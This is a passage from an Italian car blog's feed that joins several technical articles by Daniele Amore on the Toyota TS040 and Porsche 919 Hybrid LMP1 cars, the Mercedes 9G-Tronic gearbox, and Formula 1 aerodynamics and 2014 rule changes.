<p class="wp-block-paragraph">In pratica si è passati da uno sfruttamento della massima potenza ad un ottimizzazione di potenza in considerazione dei consumi. &nbsp;La Toyota comunque è ottimista sulla conservazione di una potenza maggiore della concorrenza dell&#8217;intero sistema. Si parla di secondi in cui entrambi i sistemi assieme possono fornire 1000cv. &nbsp;A differenza del passato ora il controllo del flusso è indipendente dal tipo di carburante. &nbsp;La la quantità di combustibile controllata sarà uguale sia benzina che diesel.</p>



<p class="wp-block-paragraph">La potenze del motore endotermico dovrà essere compensata a seconda della necessità con l&#8217;energia del sistema ibrido. &nbsp;I tecnici giapponesi contano di avere le stesse prestazioni dell&#8217;anno scorso con un consumo del 25% in meno di carburante. Nel dettaglio il sistema ibrido di Toyota comprende un motore V8 a benzina aspirato con cilindrata 3.7l. &nbsp;Su cui è stato fatto un lavoro di ottimizzazione di ogni aspetto della combustione per ridurre il consumo specifico</p>



<p class="wp-block-paragraph">Nel 2014 Toyota impiegherà, &nbsp;rispetto alla TS030 &nbsp;un ulteriore MGU sull&#8217;asse anteriore. I nuovi regolamenti permettendo infatti più libertà per la trazione elettrica sulle ruote anteriori. &nbsp;Un sistema Denso MGU per l l&#8217; asse &nbsp;anteriore e &nbsp;un &#8216;Aisin AW MGU per l&#8217; asse posteriore. Rimane un condensatore Nissinbo utilizzato per lo stoccaggio di energia abbinato ad un inverter Denso&nbsp;&nbsp;per controllare il flusso di energia elettrica da rimandare come potenziamento del motore benzina.&nbsp;In termini prestazionali il sistema ibrido con peso limitato, ha comportato anche uno studio completo della ripartizione dei pesi, e una ricollocazione di batterie e motori elettrici, assieme alle masse di raffreddamento in modo differente.</p>



<p class="wp-block-paragraph">A differenza della Porsche che ha deciso di utilizzare la massima possibilità di conservazione energetica di 8MJ limitando il motore benzina con un piccolo V4 Turbo, &nbsp;Toyota immagazzinerà di meno &nbsp;con 6MJ per giro per ottenere il miglior equilibrio tra l&#8217;utilizzo del motore benzina ed elettrico.</p>



<p class="wp-block-paragraph">Da notare come la &nbsp;Toyota ha scelto di non usare il turbo con la possibilità di collegarlo all&#8217;MGU ma di migliorare l&#8217;efficienza del sistema di recupero dell&#8217;energia cinetica puntando su un motore aspirato accuratamente progettato. Un plauso che darà agli appassionati la possibilità di vedere in pista più soluzioni diverse. L&#8217;utilizzo del Turbo comportava anche un recupero dei gas di scarico con EGR, che però peggiora il rendimento di combustione, con perdita di potenza e peggioramento dei consumi. &nbsp;I due sistemi elettrici possono immagazzinare energia in frenata. Il livello di accumulo tra anteriore o posteriore viene considerato in funzione della quantità di frenata tra i due assi.</p>



<p class="wp-block-paragraph">Siccome la potenza in frenata di questo tipo di vetture è molto forte per accumulare l&#8217;energia necessita di super condensatore ad alto rendimento per raccogliere la quantità di energia prodotta in un secondo di frenata ad altissima velocità. Una volta accumulata l&#8217;energia viene alimentato l&#8217; MGU nelle condizioni di media velocità ma soprattutto all&#8217;uscita delle curve, perché massimizza la potenza di accelerazione e quindi effettivamente migliora il tempo sul giro. Inoltre, in questo caso, l&#8217;energia di rilascio su tutte le quattro ruote, anziché due ruote, è molto più efficace per la trazione. Un altro vantaggio del sistema a quattro ruote motrici &nbsp;che migliora le prestazioni in condizioni di bagnato, ma anche in curve da bassa velocità e le varianti.</p>


<div class="wp-block-image">
<figure class="alignleft"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/04/Toyota-ts040_RearWing-LOW.jpg"><img decoding="async" width="423" height="499" src="https://www.giornalemotori.com/wp-content/uploads//2014/04/Toyota-ts040_RearWing-LOW.jpg" alt="Toyota-ts040_RearWing-LOW" class="wp-image-37118" title="Toyota Ts040, Analisi tecnica 1227" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/04/Toyota-ts040_RearWing-LOW.jpg 423w, https://www.giornalemotori.com/wp-content/uploads/2014/04/Toyota-ts040_RearWing-LOW-300x354.jpg 300w" sizes="(max-width: 423px) 100vw, 423px" /></a></figure>
</div>


<p class="wp-block-paragraph">Dal punto di vista aerodinamico il muso appare molto più originale nella TS040 che nella vettura dello scorso anno. I parafanghi cono molto più sottili e spigolosi. Con uno sviluppo più verticale ma che tendono ad offrire molta meno resistenza all&#8217;avanzamento essendo appuntiti nella zona fari. Anche lo splitter anteriore ha uno spazio maggiore per il passaggio dell&#8217;aria nella parte sottostante della vettura. Il naso ora leggermente rialzato permette una migliore aerodinamica e consente di spostare in avanti il gruppo sospensione per fare spazio al sistema elettrico anteriore.</p>



<p class="wp-block-paragraph">Nelle foto in alto si vede come dietro i parafanghi anteriori, &nbsp;così come le altre LMP1 di ultima generazione, &nbsp;ci sono una serie di deflettori che permettono di migliorare il flusso aria ai lati del cassone per le masse radianti. L&#8217;aria viene prima raddrizzata poi inviata attraverso il alto della vettura fino alla zona posteriore.</p>



<p class="wp-block-paragraph">Lo scopo è quello di migliorare la penetrazione aerodinamica e l&#8217;efficienza. In un ottica di lavoro sincronizzato dei flussi, &nbsp;nella zona della ruota anteriore ci sono anche degli originali sfoghi per i parafanghi al di sopra dei side pod laterali. Questo serve a tenere vicino alla vettura e lineare il flusso che viene dal centro attraverso i deflettori.</p>



<p class="wp-block-paragraph">Anche al posteriore c&#8217;è stato un grosso lavoro di affinamento sia delle prese aria di sfogo dei parafanghi più sinuose, curve e con delle alette alzate, con un andamento a convergere verso l&#8217;interno per far &nbsp;defluire l&#8217;aria ai lati della ruota posteriore all&#8217;interno della paratia alettone. Parte dell&#8217;aria che viene dal rotolamento della gomma posteriore viene sfogata attraverso uno canale nella parte bassa che si inarca verso la paratia.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>
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		<title>Porsche 919 Hybrid analisi tecnica</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 11 Apr 2014 07:59:49 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
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		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Porsche correrà il campionato mondiale endurance e la 24H di Le Mans con una delle vetture più complesse e veloci della sua storia, &#160;la 919 Hybrid. Utilizzando due sistemi di recupero energetico, è in grado di correre nella categoria 8MJ a Le Mans. In effetti le LMP1 da quest&#8217;anno saranno suddivise all&#8217;interno della massima categoria [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Porsche correrà il campionato mondiale endurance e la 24H di Le Mans con una delle vetture più complesse e veloci della sua storia, &nbsp;la 919 Hybrid. Utilizzando due sistemi di recupero energetico, è in grado di correre nella categoria 8MJ a Le Mans.</p>



<p class="wp-block-paragraph"> In effetti le LMP1 da quest&#8217;anno saranno suddivise all&#8217;interno della massima categoria per il livello di energia che il sistema di recupero può immagazzinare per poi rilasciarlo in aiuto a quello termico. I costruttori possono utilizzare più motore diesel/benzina oppure sacrificarlo per avere energia supplementare elettrica. Meno si usa il motore endotermico più si può immagazzinare elettricità. Nel caso della Porsche il massimo consentito appunto di 8MJ. &nbsp;La vettura dispone di un sistema KERS sull&#8217;asse anteriore che la rende di fatto una trazione integrale. Un motore elettrico azionato dai gas di scarico simile al concetto di recupero di energia come usato in F1 attualmente &nbsp;è alloggiato nella parte posteriore. La differenza sostanziale è che questo può anche funzionare come un motore aggiuntivo e fornire ulteriore potenza. L&#8217;energia da entrambi &nbsp;i sistemi elettrici viene immagazzinata in una batteria fornita esclusivamente alla Porsche. La parte endotermica è alimentata da un motore V4 da 2 litri, che è stato completamente progettato apposta per questa vettura.</p>



<p class="wp-block-paragraph">&nbsp;La 919, &nbsp;utilizzerà la tecnologia ibrida simile a quella utilizzata in Formula 1 adattata alle specifiche di Le Mans per &nbsp;quest&#8217;anno. &nbsp;Nel 2014 la categoria LMP1 ha adottato una formula che limita in consumi sullo stile della Formula 1. Il flusso di carburante segnerà l&#8217;efficienza energetica piuttosto che sulle prestazioni assoluti. &nbsp; La differenza rispetto alla Formula 1 c&#8217;è grande libertà &nbsp;di decidere come ottenere potenza sulle LMP1. I motori a combustione interna non hanno limiti progettuali di cubatura, alimentazione e configurazione &nbsp;cosa che permetterà di avere tre costruttori con unità diverse. &nbsp;Audi per un diesel alimentato V6. La &nbsp;Toyota per un aspirato V8, &nbsp;mentre Porsche ha scelto un originale due litro turbo V4. &nbsp;Il turbocompressore è collegato ad un gruppo generatore in tutto simile a quello che usano in Formula 1 &nbsp;chiamato MGU-H. Anche se in realtà sarebbe più logico chiamarlo un GU-H per qualche limite in più di utilizzo, in quanto non può agire per limitare il &nbsp;ritardo del turbo.</p>



<p class="wp-block-paragraph">Mentre il secondo sistema ibrido montato anteriormente, rende il &nbsp;Il layout &nbsp;della sospensione anteriore originale nel progetto, infatti &nbsp;invece di utilizzare la classica sospensione &nbsp;a barra di torsione comune in LMP1, &nbsp;la &nbsp;919 utilizza complesso molla / ammortizzatore montato orizzontale all&#8217;interno della scocca per limitare l&#8217;ingombro e ripartire il peso. La batteria per l&#8217;energia immagazzinata viene collocata sotto il sedile passeggero.&nbsp;Il motore V4 molto piccolo e compatto ha &nbsp;campana del cambio in fibra di carbonio compresa la frizione per limitare i pesi. &nbsp;Ovvio che anche l&#8217;impianto di raffreddamento è stato adeguato pur rimanendo molto compatto e leggero.</p>



<p class="wp-block-paragraph">Dal punto di vista aerodinamico la linea della 919 Hybrid sembra molto semplice, si notano i dettagli dello &nbsp;splitter anteriore con uno studio specifico come le ali delle vettura da formula 1.Infatti si vede come nella parte centrale ha ha un &nbsp;canale che porta aria al fondo vettura come succede con le ali della massima formula. Si vede chiaramente nel disegno vista da sotto nella parte colorata di giallo. Inoltre ai lati assume una forma concava che permette di far smistare il flusso aria sia ai lati interno alla ruota anteriore che aiutare il flusso aria interno al parafango ad uscire più velocemente dall&#8217;apertura superiore.&nbsp;&nbsp; La presa aria montata sul tetto ha una forma interessante perchè sembra che i tecnici Porsche abbiano usato parte dei sostegni rollbar all&#8217;interno della forma. &nbsp;Si vedono chiaramente dalle foto i canali d&#8217;aria di sezione a forma di V, &nbsp;per un paio di piccole prese sul cofano motore. davanti alle ruote che aiutano a togliere aria in pressione dai parafanghi. Anche i profili aerodinamici nella parte alta del tetto hanno il compito di rispettare le nuove norme per l&#8217;altezza minima fissate nel 2014 compresa la forma bizzarra della presa aria propensa per tutto il cupolino. In ogni caso le varie aperture sul tetto dovrebbero soddisfare anche l&#8217;esigenze di raffreddamento del sistema ERS che si trova nella parte superiore del motore.</p>



<p class="wp-block-paragraph">Ai lati si vede chiaramente il grosso lavoro che i tecnici Porsche hanno fatto per far si che il flusso aria che entra nella parte anteriore della LMP1 sia comunque raddrizzato e adeguatamente corretto lungo la fiancata mediante l&#8217;utilizzo di una serie di deviatori di flusso che hanno lo scopo di fungere da separatori e da raddrizzatori delle turbolenze che si formano immediatamente davanti all&#8217;attacco del cassone che porta aria ai radiatori. Inoltre una parte del flusso aria in basso viene reindirizzata all&#8217;interno per migliorare anche la capacità aerodinamica del fondo ai lati del motore. Cosa che aiuta anche a far lavorare il profilo estrattore posteriore. &nbsp;Nella parte posteriore le due zone alle spalle dei parafanghi che sovrastano il fondo piatto, ai lati dello scivolo diffusore posteriore, hanno una serie di alette sagomate per fare in modo di togliere aria dai parafanghi senza avere resistenza aerodinamica. Per dare una mano al fondo, nella parte bassa della finestratura ci sono dei piccoli deflettori che separano i flussi aria che arrivano dal laterale della ruota e non deve mescolarsi con il centro del prototipo dopo tutta la fatica per far si che venga alimentato il profilo estrattore con un flusso pulito di aria che genera deportanzA</p>



<p class="wp-block-paragraph">disegni&nbsp;http://lemansprototypes.over-blog.it/</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>
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		<title>Il nuovo cambio 9G tronic Mercedes</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 19 Mar 2014 21:23:59 +0000</pubDate>
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		<category><![CDATA[Auto]]></category>
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					<description><![CDATA[<p>Da sempre il popolo degli appassionati di auto si divide in conservatori e progressisti. Una delle questioni che da sempre anima le discussioni di tutti è se meglio un bel cambio manuale che consente il controllo perfetto del mezzo da parte del pilota magari sfoggiando le proprie doti di guida con un bel taccopunta, oppure [&#8230;]</p>
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<figure class="aligncenter"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/03/2014-03-19_224656.jpg"><img decoding="async" width="569" height="361" src="https://www.giornalemotori.com/wp-content/uploads//2014/03/2014-03-19_224656.jpg" alt="2014-03-19_224656" class="wp-image-36171" title="Il nuovo cambio 9G tronic Mercedes 1228" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/03/2014-03-19_224656.jpg 569w, https://www.giornalemotori.com/wp-content/uploads/2014/03/2014-03-19_224656-300x190.jpg 300w" sizes="(max-width: 569px) 100vw, 569px" /></a></figure>
</div>


<p class="wp-block-paragraph">Da sempre il popolo degli appassionati di auto si divide in conservatori e progressisti. Una delle questioni che da sempre anima le discussioni di tutti è se meglio un bel cambio manuale che consente il controllo perfetto del mezzo da parte del pilota magari sfoggiando le proprie doti di guida con un bel taccopunta, oppure se meglio un bell&#8217;automatico dell&#8217;ultima generazione, funzionale ed efficiente. Le case costruttrici c&#8217;è la stanno mettendo tutta per far si che questa tecnologia diffusa tantissimo all&#8217;estero ma che difficilmente attecchisce in Italia sia adatta anche ad un pubblico appassionato della guida.&nbsp;Per fare ciò ma soprattutto per le sempre più severe norme che regolano i consumi e le emissioni di Co2 il cambio automatico è di fondamentale importanza in quanto oggi controlla anche la capacità dell&#8217;automobile di stare sempre nel range di utilizzo più confacente alle esigenze di guida quotidiane di traffico senza disdegnare con opportune logiche di funzionamento anche di essere datta alla guida sportiva e manuale.</p>



<p class="wp-block-paragraph">Attualmente uno dei sistemi più evoluti in assoluto è il nuovissimo 9G Tronic della Mercedes, dove nove sta per il numero delle marche che di cui il cambio è dotato. Questo spettacolare cambio debutterà sulla&nbsp;<b>Mercedes-Benz E 350 BlueTEC.&nbsp;</b>Questo cambio sarà abbinato alle motorizzazioni che sono disposte in modo longitudinale quindi solo dalla gamma della Classe C in poi. Da tenere presente la valenza del progetto in quanto la Mercedes attualmente è l&#8217;unico costruttore in grado di progettare e realizzare completamente in casa propria il cambio più complesso attualmente sul mercato.&nbsp;Rispetto al vecchio 7G Tronic ora ci sono due rapporti in più. &nbsp;Inoltre ricordiamo che questo non è un cambio a doppia frizione ma un automatico il cui convertitore idraulico di coppia ora ha un rendimento fino al 92%,rispetto al gia ottimo 85% del 7 marce, inutile dire che ogni qualvolta si migliora il rendimento di un componente diventa &nbsp;importante per ridurre il consumo di carburante, dal momento che durante gli slittamenti del convertitore viene dissipata potenza, che si trasforma in calore.</p>



<p class="wp-block-paragraph">&nbsp;In sostanza viene quasi azzerata quella fastidiosa sensazione di frizione che slitta classica di questi cambi. Per migliorare l&#8217;affidabilità ora c&#8217;è un evoluzione dello speciale lubrificante di sintesi consente anche di eliminare lo scambiatore di calore all’ interno dell’automatico, che prima era necessario per portarne rapidamente in temperatura l’olio dopo l’avviamento in climi freddi.&nbsp;Mercedes introduce su questo tipo di cambio uno smorzatore idraulico di vibrazioni torsionali abbinato a un pendolo centrifugo. L&#8217;utilità è presto detta per l&#8217;enorme coppia ai bassi regimi che alcuni motori di alte prestazioni soprattutto nella configurazione AMG, ma soprattutto in previsione della diffusione sempre più massiccia di motori più piccoli anche con tre cilindri che verrebbero a smorzare le vibrazioni anche grazie al 9G Tronic.&nbsp;I nove rapporti che compongono questo cambio sono ottenuti mediante l&#8217;accoppiamento di soli quattro semplici ruotismi epicicloidali.</p>



<p class="wp-block-paragraph">In sostanza combinando opportunamente il funzionamento di loro mediante l&#8217;azione di ben sei gruppi frizione. All&#8217;interno c&#8217;è l’albero primario più molto lungo, ben 551 mm in assoluto, progettato e brevettato dalla Mercedes. Come gli appassionati più informati sanno i motori più potenti abbinati al vecchio cambio 7G Tronic avevano la coppia erogata bloccata elettronicamente a 1000 Nm. Le cose non cambiano per questo 9G Tronic. Del resto il valore di 1000 Nm non sono certo pochi e se si possono assimilare e sfruttare con maggiore confort ed efficienza sicuramente è meglio. &nbsp;La spaziatura dei rapporti prevede un intervallo tra la prima e la nona marcia la differenza di rapporto tra le due marce è &nbsp;9,15.</p>



<p class="wp-block-paragraph">Migliorato anche il circuito di lubrificazione, che abbina una piccola pompa meccanica per la mandata dell’olio, in abbinamento con una seconda pompa elettrica. &nbsp;In questo modo si riduce l’assorbimento di potenza della pompa meccanica nei casi in cui il cambio si trova a lavorare in condizioni ridotte di potenza si attiva la pompa azionata da un motorino elettrico, inoltre in questo modo può abbinare anche &nbsp;la funzione start&amp;stop del motore. In pratica succede che quando il propulsore è spento, la pompa meccanica non gira e non potrebbe fornire pressione all’ impianto idraulico per inserire una marcia, ma la pompa elettrica &nbsp;pone rimedio migliorando efficienza, affidabilità e consumi.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>
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		<title>La complessità di un&#8217;ala anteriore di Formula 1</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 14 Mar 2014 10:11:16 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>  L&#8217;ala anteriore di una vettura da formula 1 è passata negli anni da semplice elemento di deportanza e di carico della monoposto ad elemento complesso formato da più sistemi.  L&#8217;ala anteriore oggi tende a  fungere da deviatore per convogliatore  il flusso aria che andrà poi ad investire tutta la monoposto. Vogliamo analizzare nel dettaglio scomponendo [&#8230;]</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2014/03/14/complessita-unala-anteriore-formula-1/">La complessità di un&#8217;ala anteriore di Formula 1</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: center;"> <a href="https://www.giornalemotori.com/wp-content/uploads//2014/03/ala-625x582.jpg"><img decoding="async" class="alignnone size-medium wp-image-35863" alt="ala-625x582" src="https://www.giornalemotori.com/wp-content/uploads//2014/03/ala-625x582-300x279.jpg" width="300" height="279" title="La complessità di un&#039;ala anteriore di Formula 1 1233" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/03/ala-625x582-300x279.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2014/03/ala-625x582.jpg 570w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/03/winglet1.jpg"><img decoding="async" class="size-full wp-image-35866 alignright" alt="winglet" src="https://www.giornalemotori.com/wp-content/uploads//2014/03/winglet1.jpg" width="150" height="185" title="La complessità di un&#039;ala anteriore di Formula 1 1234"></a>L&#8217;ala anteriore di una vettura da formula 1 è passata negli anni da semplice elemento di deportanza e di carico della monoposto ad elemento complesso formato da più sistemi.  L&#8217;ala anteriore oggi tende a <span style="line-height: 1.5em;"> fungere da deviatore per convogliatore  il flusso aria che andrà poi ad investire tutta la monoposto. Vogliamo analizzare nel dettaglio scomponendo l&#8217;ala della vettura che in questo momento sembra essere quella più in forma almeno in questa fase iniziale del campionato.</span></p>
<p style="text-align: justify;"><span style="line-height: 1.5em;">La Mercedes W05 nel 2014 ha progettato un&#8217; ala anteriore che si è evoluta rispetto a quella della passata stagione. Le paratie laterali non sono in un corpo unico come accadeva in passato ma ora sono separate in due semi paratie che devono far defluire verso l&#8217;esterno l&#8217;eccesso di pressione che si forma sul piano dell&#8217;ala principale.</span></p>
<p style="text-align: justify;">Per tenere il flusso basso e correttamente lineare ci sono delle piccole alette nella zona di separazione che tendono a inviare l&#8217;aria verso il basso. Un primo chiaro segno di come ogni millimetro di aria venga analizzato e sfruttato per far lavorare tutta la monoposto.</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/03/plainwing.jpg"><img decoding="async" class="alignleft size-medium wp-image-35868" alt="plainwing" src="https://www.giornalemotori.com/wp-content/uploads//2014/03/plainwing-300x166.jpg" width="300" height="166" title="La complessità di un&#039;ala anteriore di Formula 1 1235" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/03/plainwing-300x166.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2014/03/plainwing.jpg 570w" sizes="(max-width: 300px) 100vw, 300px" /></a>Di seguito si vede chiaramente come la parte sostanziale dell&#8217;ala anteriore,  quella formata dai profili alari è scomposta in più elementi. Una volta c&#8217;è ne erano solo due e di forma abbastanza banale. Come si vede invece nella W05 ci sono la bellezza di 4 elementi.</p>
<p style="text-align: justify;">Uno principale che si divide in due parti verso l&#8217;esterno dell&#8217;ala e poi la parte superiore divisa chiaramente in  tre profili dalla forma diversificata. In ogni caso tutti nella parte esterna hanno un andamento a onda che serve per migliorare il flusso aria che si andrebbe a bloccare davanti alla ruota. Una soluzione simile si usava nella Williams nel 1992-1993 e arrivava fin dietro le ruote anteriori passando per l&#8217;interno.</p>
<p style="text-align: justify;"> L&#8217;obiettivo è di creare una turbolenza che costringe l&#8217;aria che si blocca davanti alla ruota a defluire più rapidamente di lato ad essa. Anche nella parte superiore la piccola paratia svergolata mostra chiaramente come il flusso aria davanti alla ruota viene obbligato sia verso l&#8217;esterno a a sinistra che internamente alla ruota separando velocizzando in flussi in modo differente.</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/03/cascade-hl.jpg"><img decoding="async" class="alignleft size-full wp-image-35867" alt="cascade-hl" src="https://www.giornalemotori.com/wp-content/uploads//2014/03/cascade-hl.jpg" width="220" height="206" title="La complessità di un&#039;ala anteriore di Formula 1 1236"></a>Sull&#8217;ala principale vengono sistemate delle alette supplementari nella zona anteriore del bordo di attacco. Non hanno una grande funzione di carico aerodinamico, ma piuttosto tendono a fungere da deviatore di flusso per far si che tutto il sistema di gestione aria davanti alle ruote anteriori sia perfettamente incanalato nella zona desiderata.</p>
<p style="text-align: justify;">Come si vede tutto funziona in modo da essere correlato. Più di tutte una Formula 1 è soggetta alla legge che vuole che se succede una piccola cosa all&#8217;ala anteriore tutta la monoposto ne subisce l&#8217;influsso positivo che negativo. Due esempi per dimostrarlo sono dati proprio dalla Redbull campione del mondo. Infatti molte volte si è rinunciato a scaricare l&#8217;ala anteriore togliendo alette nei tracciati veloci per non eliminare tutti i piccoli deflettori che servono a migliorare il flusso su tutta la macchina.</p>
<p style="text-align: justify;">Di contro più volte sulla vettura di Vettel proprio le alette anteriori sono andate distrutte in contatti senza generare perdite di carico all&#8217;anteriore della monoposto segno che il loro compito è solo quello di tenere a bada le linee di flusso aria davanti alla ruota per migliorare la penetrazione aerodinamica. Un elemento quanto mai fondamentale in una formula che punta sull&#8217;efficienza e sul consumo ridotto.</p>
<p><strong>Daniele Amore</strong></p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2014/03/14/complessita-unala-anteriore-formula-1/">La complessità di un&#8217;ala anteriore di Formula 1</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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		<title>Anche la Williams modifica lo sfogo aria calda della FW36</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 02 Mar 2014 09:54:11 +0000</pubDate>
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		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La Williams non sembrava che avesse avuto particolari difficoltà con il raffreddamento della sua power unit per il mondiale 2014. In ogni caso sembra che la scuderia inglese sia tornata alla vecchia capacità progettuale. Infatti in bahrain è stata provata una diversa configurazione dell&#8217;apertura per la fuoriuscita dell&#8217;aria calda dalle fiancate nella zona posteriore. Probabilmente [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/03/williams-1.jpg"><img decoding="async" class="alignnone size-medium wp-image-35217" alt="williams 1" src="https://www.giornalemotori.com/wp-content/uploads//2014/03/williams-1-300x109.jpg" width="300" height="109" title="Anche la Williams modifica lo sfogo aria calda della FW36 1239" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/03/williams-1-300x109.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2014/03/williams-1.jpg 570w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p style="text-align: justify">La Williams non sembrava che avesse avuto particolari difficoltà con il raffreddamento della sua power unit per il mondiale 2014. In ogni caso sembra che la scuderia inglese sia tornata alla vecchia capacità progettuale. Infatti in bahrain è stata provata una diversa configurazione dell&#8217;apertura per la fuoriuscita dell&#8217;aria calda dalle fiancate nella zona posteriore. Probabilmente i tecnici Williams nonostante l&#8217;assenza di problemi rilevanti non sono ancora sicuri di poter affrontare i gran premi più caldi della stagione in modo sicuro.  Come si vede nella foto 1, il posteriore ora ha una forma circolare intorno allo scarico. Questo nuovo sfogo è più grande e soprattutto più concentrato nella zona centrale del profilo estrattore. Una curiosità la zona dello scarico unico che è avvolta da un secondo involucro di carbonio che avrebbe forse la capacità di separare di due flussi di aria calda proveniente dalle masse radianti e quello interno proveniente dal cambio. In questa configurazione si vede lo scarico parzialmente scoperto nella parte finale. Non è dato capire se è così perchè provvisorio o per chiari motivi di sfruttamento del calore generato dalla parte finale del tubo di scarico. La foto 2 sotto mostra la prima soluzione Williams</p>
<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/03/williams-2.jpg"><img decoding="async" class="alignnone size-medium wp-image-35218" alt="williams 2" src="https://www.giornalemotori.com/wp-content/uploads//2014/03/williams-2-300x116.jpg" width="300" height="116" title="Anche la Williams modifica lo sfogo aria calda della FW36 1240" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/03/williams-2-300x116.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2014/03/williams-2.jpg 570w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p style="text-align: justify">Un altro dettaglio che fa la differenza con le altre scuderie è l&#8217;adozione delle paratie laterali dell&#8217;alettone come elemento di sostegno dell&#8217;intera ala posteriore. In questo modo si libera completamente il passaggio dell&#8217;aria che arriva dalle fiancate e dovrebbe contribuire a migliorare la penetrazione aerodinamica fondamentale quest&#8217;anno per lo sfruttamento della potenza senza consumare troppa benzina.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>L&#8217;aerodinamica delle formula 1 2014 Parte II &#8220;Il diffusore&#8221;</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Mon, 16 Dec 2013 15:35:35 +0000</pubDate>
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					<description><![CDATA[<p>Dopo aver parlato delle nuove regole per il muso se torniamo per un attimo alla nuova motorizzazione, il fatto di avere un motore turbo con una sola turbina al centro delle bancate in asse con il sistema di recupero energia primario, comporterà un ingrossamento della zona del cofano motore importante. Inoltre necessiteranno una serie di [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;">Dopo aver parlato delle nuove regole per il muso se torniamo per un attimo alla nuova motorizzazione, il fatto di avere un motore turbo con una sola turbina al centro delle bancate in asse con il sistema di recupero energia primario, comporterà un ingrossamento della zona del cofano motore importante. Inoltre necessiteranno una serie di masse radianti aggiuntive come intercooler per il raffreddamento dell&#8217;aria che arriva nei cilindri compressa dalla turbina. Anche le masse radianti acqua e olio saranno maggiorare per smaltire più calore. In questo caso vedremo un ingrandimento della pance laterali. Questo, siamo sicuri,  non farà piacere al genio Adrian Newey che vedrà crescere le forme della sua RB10 che necessiterà di più aria per raffreddare il motore e meno efficienza aerodinamica nella zona posteriore. Nella foto sono evidenti le modifiche tra la vettura 2013 e quella 2014.</p>
<p style="text-align: justify;">Ci saranno anche modifiche regolamentari alla zona posteriore. La Fia ha modificato alettone e profilo estrattore con l&#8217;unico scopo di ridurre il carico aerodinamico. L&#8217;ala superiore è stata ridotta di dimensione passando da una superficie di 220mm a una più piccola di 200mm. In effetti abbiamo già visto nelle varie prove negli ultimi gran premi, alcune squadre hanno utilizzato in via sperimentale le nuove ali con evidenti buoni risultati visto che non hanno prodotto riduzione dei tempi sul giro. I progettisti hanno cambiato la forma per compensare alla mancanza di superficie. Una grossa modifica invece sarà quella riservata alla zona bassa dell&#8217;alettone. L&#8217;eliminazione del profilo alare inferiore che fungeva anche da sostegno dovrà per forza di cose introdurre il vecchio caro pilone centrale  per reggere tutta l&#8217;ala. La modifica più importante e più incisiva sarà quella del diffusore. Nel 2014 sarà di forma diversa  più basso nella zona centrale. In questo modo dovrebbe garantire meno effetto suolo soprattutto togliere vantaggi alle scuderie che usano un assetto molto picchiato come RedBull e un po anche Lotus.</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2013/12/2014-regs-exhaust-exit.png"><img decoding="async" class="alignleft size-full wp-image-33218" src="https://www.giornalemotori.com/wp-content/uploads//2013/12/2014-regs-exhaust-exit.png" alt="2014-regs-exhaust-exit" width="290" height="286" title="L&#039;aerodinamica delle formula 1 2014 Parte II &quot;Il diffusore&quot; 1242"></a>E ora veniamo al punto più importate. La posizione degli scarichi. Importantissima nella definizione della Redbull RB9, nel 2014 ci sara uno scarico unico che soffierà al centro. Questo dovrebbe limitare al massimo l&#8217;utilizzo dell&#8217;aria calda  per ottenere l&#8217;effetto coanda che sigillava il fondo con lo schermo-minigonna termica. La Fia in questo caso è stata molto precisa. Ha specificato che lo scarico non potrà essere che in una sola posizione  all&#8217;interno del rettangolino arancione nella parte destra della foto dove si vede la posizione in lunghezza che in larghezza.  Un limite ben preciso che non lascia interpretazioni. La dimensione dello scarico sarà chiara e precisa. Il suo diametro deve essere compreso tra 98 millimetri e 134 millimetri, non dovrà discostarsi di 100 mm dall&#8217;asse centrale della vettura e deve uscire o in posizione orizzontale, o con un inclinazione massima di  5 ° verso l&#8217;alto. Unico punto debole della regola è la possibilità di montare proprio davanti allo scarico un alettone piccolo detto sedile della scimmia già ampiamente usato da varie 